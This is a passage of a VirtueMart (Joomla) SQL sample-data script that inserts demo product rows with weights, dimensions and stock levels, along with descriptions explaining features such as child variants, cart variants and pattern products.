0.3000, 'M', '', 100, 0, 5, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (5, 1, 0, '', 0.1000, 'KG', 0.2000, 0.0100, 0.0300, 'M', '', 10, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (6, 1, 0, '', 0.1000, 'KG', 0.2000, 0.0100, 0.3000, 'M', '', 50, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (7, 1, 0, '', 0.4000, 'KG', 0.1000, 0.2000, 0.3000, 'M', '', 80, 0, 10, '0000-00-00 00:00:00', '', 0, 0, 'KG', 0.1000, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box="1"|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (8, 1, 7, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 1, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (9, 1, 7, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 2, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (10, 1, 7, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 3, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (11, 1, 0, '', 0.4000, 'KG', 0.1000, 0.2000, 0.3000, 'M', '', 150, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (12, 1, 11, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 1, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (13, 1, 11, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 2, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (14, 1, 11, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 3, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (15, 1, 0, '', 0.1000, 'KG', 0.1000, 0.2000, 0.3000, 'M', '', 100, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (16, 1, 15, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 1, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (17, 1, 15, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 2, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (18, 1, 15, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 3, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (19, 1, 0, '', 0.4000, 'KG', 0.1000, 0.2000, 0.3000, 'M', '', 100, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box="1"|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (20, 1, 19, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (21, 1, 19, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (22, 1, 19, '', 4.0000, 'KG', 1.0000, 2.0000, 3.0000, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box="10"|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (23, 1, 0, '', 0.4000, 'KG', 0.1000, 0.2000, 0.3000, 'M', '', 80, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box="1"|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (24, 1, 23, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 1, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (25, 1, 23, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 2, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (26, 1, 23, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box="10"|', NULL, '', '', '', '0', 1, 3, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (27, 1, 0, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (28, 1, 27, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (29, 1, 27, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (30, 1, 27, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (31, 1, 27, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (32, 1, 27, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (33, 1, 27, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (34, 1, 27, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (35, 1, 27, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (36, 1, 27, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (37, 1, 27, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (38, 1, 0, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (39, 1, 38, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (40, 1, 38, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (41, 1, 38, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (42, 1, 38, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (43, 1, 38, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (44, 1, 38, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (45, 1, 38, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (46, 1, 38, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (47, 1, 38, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (48, 1, 38, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (49, 1, 0, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (50, 1, 49, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (51, 1, 49, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (52, 1, 49, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (53, 1, 49, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (54, 1, 49, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (55, 1, 49, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (56, 1, 49, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (57, 1, 49, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (58, 1, 49, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (59, 1, 49, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (60, 1, 0, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (61, 1, 60, '', 125.0000, 'G', 20.0000, 20.0000, 10.0000, 'CM', '', 35, 2, 5, '0000-00-00 00:00:00', '', 0, 0, '100G', 0.5000, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box="1"|', NULL, '', '', '', '0', 1, 1, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (62, 1, 60, '', 150.0000, 'G', 35.0000, 30.0000, 15.0000, 'CM', '', 15, 1, 5, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box="1"|', NULL, '', '', '', '0', 1, 2, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (63, 1, 60, '', 200.0000, 'G', 25.0000, 25.0000, 25.0000, 'CM', '', 122, 2, 10, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box="1"|', NULL, '', '', '', '0', 1, 3, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (64, 1, 0, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (65, 1, 64, '', 0.1000, 'KG', 25.0000, 20.0000, 2.0000, 'CM', '', 77, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', 1.0000, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 1, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (66, 1, 64, '', 0.0750, 'KG', 0.2000, 0.2000, 0.1500, 'M', '', 152, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box="1"|', NULL, '', '', '', '0', 1, 2, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (67, 1, 64, '', 150.0000, 'G', 25.0000, 25.0000, 15.0000, 'CM', '', 50, 0, 5, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box="1"|', NULL, '', '', '', '0', 1, 3, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (68, 1, 0, '', NULL, 'KG', NULL, NULL, NULL, 'M', '', 0, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 0, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (69, 1, 68, '', 350.0000, 'G', NULL, NULL, NULL, 'M', '', 45, 0, 2, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 1, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (70, 1, 68, '', 300.0000, 'G', NULL, NULL, NULL, 'M', '', 12, 0, 1, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 2, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (71, 1, 68, '', 550.0000, 'G', NULL, NULL, NULL, 'M', '', 15, 0, 0, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 3, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (72, 1, 68, '', 200.0000, 'G', NULL, NULL, NULL, 'M', '', 45, 0, 5, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 4, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635), (73, 1, 68, '', 250.0000, 'G', NULL, NULL, NULL, 'M', '', 54, 0, 5, '0000-00-00 00:00:00', '', 0, 0, 'KG', NULL, 'min_order_level=""|max_order_level=""|step_order_level=""|product_box=""|', NULL, '', '', '', '0', 1, 5, '0000-00-00 00:00:00', 635, '0000-00-00 00:00:00', 635); INSERT IGNORE INTO `#__virtuemart_products_XLANG` (`virtuemart_product_id`, `product_s_desc`, `product_desc`, `product_name`, `metadesc`, `metakey`, `customtitle`, `slug`) VALUES (1, 'This is a default product.', '

      Default product with standart settings no customfields. You can set:

      \r\n

      Tab Product Information
      - General: Published, On Featured, Product SKU, Product Name, Produkt alias, URL,
      - Assignation:Manufacturer, Product Categories, Shopper Groups, Type of Product detail page
      - Product pricing: Cost price, Base price, Final price, Override, and priceranges dependant on Shopper group.
      - You can add Child products here also.

      \r\n

      Tab Product Description
      - Description, Short descriptionm Meta information

      \r\n

      Tab Product Status
      - Stock amount, Low Stock notification, Minimum and maximum purchase quantity, Availability Date + image
      - Booked, ordered products amount, Quantity Steps
      - Also it is possible to send email to shopper who bought this product.

      \r\n

      Tab Dimension and Weight
      - Lenght, Width, Height, Weight, Packing, and Units in Box

      \r\n

      Tab Product images
      - Use already uploaded images
      - Set image information
      - Upload new image
      - manage thumbnail

      \r\n

      Tab Custom Fields
      - Set related Categories & Products
      - Select customfields

      \r\n

       

      \r\n

      Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.

      ', 'Default product', '', '', '', 'default-product'), (2, 'It\'s a free Product!', '

      This product shows how a free product is set up. At least let price empty. The shopper can purchase without beeing charged. In settings you decide if an invoice will be created for free products. In all cases the shopper needs to checkout.

      \r\n

      It can be used e.g. if you want to offer catalogue or merchandise products.

      ', 'Free product', '', '', '', 'free-product'), (3, 'Default product with customfield string.', '

      This is a default product with standart settings and a customfield type string. You can set:
      - Title (text)
      - Show title (select)
      - Published (select)
      - Select parent customfield (for building a pattern of multiple customfields at once) (select)
      - Cart Attribut (select)
      - Description (text)
      - Default (text)
      - Tooltip (text)
      - Layout position
      - Admin only (select)
      - Is a list (select)
      - Hidden (select)

      ', 'Product w/customfield string', '', '', '', 'product-w-customfield-string'), (4, 'This is a default product with customfield textarea.', '

      Default product with one customfield textarea you see this customfield content below.

      \r\n

      You can use customfield textarea to add further informating apart from product description.

      \r\n

       

      ', 'Product w/customfield textarea', '', '', '', 'product-w-customfield-textarea'), (5, 'This is a default product with standart settings and a customfield type parent.', '

      You can set use customfield type parent to bind multiple child customfields into a parental bundle.

      For example for books, you may wish to always give the following description:

      \r\n

      Reading level: Ages 9-12
      Hardcover: 224 pages
      Publisher: Amulet Books (November 15, 2011)
      Language: English
      ISBN-10: 1419702238
      ISBN-13: 978-1419702235

      \r\n

      Therefore bind multiple customfields e.g. string into a parent customfield to use it as a pattern.

      ', 'Product w/customfield parent', '', '', '', 'product-w-customfield-parent'), (6, 'Default product with cart variants modifies price.', '

      Custom Field with Cart Attribute allows you to add some options to a product that can modify the product price. For example, you may wish to sell a book, or the downladable version of it. And the price is different in both case.

      In this case you can select different variants. Default, Variant A,B, or C. The price will be modified by selection. In VM configuration you can also select either tax should be applied to cart variant in customfield.

      ', 'Product w/cart variant', '', '', '', 'product-w-cart-variant'), (7, 'Product with child variant; parent ordable', '

      This product will explain the usage of customfield generic (dynamic) child variant. The base product is ordable in this case.

      \r\n

      Consider you sell products in different color settings: you want to change the color of the product by selecting a color variant.
      Therefore dynamic child variants can be used to allow you different description, images, or product status for every variant of your base product.

      Set up a new product, set price, add child products. Add created customfield generic child variant.
      The child products are assigned to another unpublished category as the parent product for calculation or llike in this case to no category.
      Tick the checkboxes Display parent as option.

      ', 'Product w/child variant', '', '', '', 'product-w-child-variant'), (8, '', '', 'child variant 1', '', '', '', 'child-variant-1'), (9, '', '', 'child variant 2', '', '', '', 'child-variant-2'), (10, '', '', 'child variant 3', '', '', '', 'child-variant-3'), (11, 'Product with child variant; parent not ordable', '

      This product will explain the usage of customfield generic (dynamic) child variant. The base product is not ordable in this case.

      \r\n

      Consider you sell products in different color settings: you want to change the color of the product by selecting a color variant.
      Therefore dynamic child variants can be used to allow you different description, images, or product status for every variant of your base product.

      Set up a new product, set price, add child products. Add created customfield generic child variant.
      The child products are assigned to another category as the parent product for caclulation or like in this case to no category.
      Do not tick the checkbox Display parent as option in this case.

      ', 'Product w/child variant parent not ordable', '', '', '', 'product-w-child-variant-parent-not-ordable'), (12, '', '', 'Child variant 1 15€', '', '', '', 'child-variant-1-15'), (13, '', '', 'Child variant 1 20€', '', '', '', 'child-variant-1-20'), (14, '', '', 'Child variant 1 25€', '', '', '', 'child-variant-1-25'), (15, 'Default product with child variant and cart variant.', '

      This product is a showcase to present the combination of product price, child variant price, and cart variant price.

      ', 'Product w/child variant w/cart variant', '', '', '', 'product-w-child-variant-w-cart-variant'), (16, '', '', 'child variant w/cart variant 1', '', '', '', 'child-variant-w-cart-variant-1'), (17, '', '', 'child variant w/cart variant 2', '', '', '', 'child-variant-w-cart-variant-2'), (18, '', '', 'child variant w/cart variant 3', '', '', '', 'child-variant-w-cart-variant-3'), (19, 'Showcase for pattern usage.', '

      This product is used as a pattern for other products. It is a parent product and has multiple child products.
      You can set several settings (content, customfields) for parent product. Childs of this parent will basically have the same settings as the parent automatically inherite until you overwrite.

      \r\n

      In this case product price is set in pattern.

      ', 'Basic PATTERN', '', '', '', 'basic-pattern'), (20, 'This is a basic child of Product PATTERN.', '

      This is a basic child of Product PATTERN. You see inherited settings, only Product description is overwritten.

      In case the child product should be available by browsing set the product category.

      ', 'Basic child', '', '', '', 'basic-pattern197'), (21, 'This is a basic child of Product PATTERN. You see inherited settings.', '

      This is a basic child of Product PATTERN. You see inherited settings.
      Overwritten are following setting/content:
      - Product desc
      - Product price

      In case the child product should be available by browsing set the product category.

      ', 'Basic price overwrite', '', '', '', 'basic-price-overwrite'), (22, 'Multiple overwrites short desc.', '

      This is a child of Product PATTERN. Most inherited settings are overwritten:
      - Short desc
      - Product desc
      - Product price
      - Product Images
      - Product Dimension and Weight (Units in Box)

      In case the child product should be available by browsing set the product category.

      ', 'Basic multiple overwrites', '', '', '', 'basic-multiple-overwrites'), (23, 'Showcase advanced pattern usage.', '

      This product is used as a pattern for other products. It is a parent product and has multiple child products.
      You can set several settings (content, customfields) for parent product. Childs of this parent will basically have the same settings as the parent automatically inherite until you overwrite.

      \r\n

      One of the hugest advantages is stock control ability.

      \r\n

       

      ', 'Advanced PATTERN', '', '', '', 'advanced-pattern'), (24, '', '

      This is a basic child of Product PATTERN. You see inherited settings, only Product description is overwritten.

      In case the child product should be available by browsing set the product category.

      ', 'Advanced child', '', '', '', 'advanced-child'), (25, '', '

      This is a advanced child of Advanced PATTERN. You see inherited settings.
      Overwritten are following setting/content:
      - Product desc
      - Product price

      In case the child product should be available by browsing set the product category.

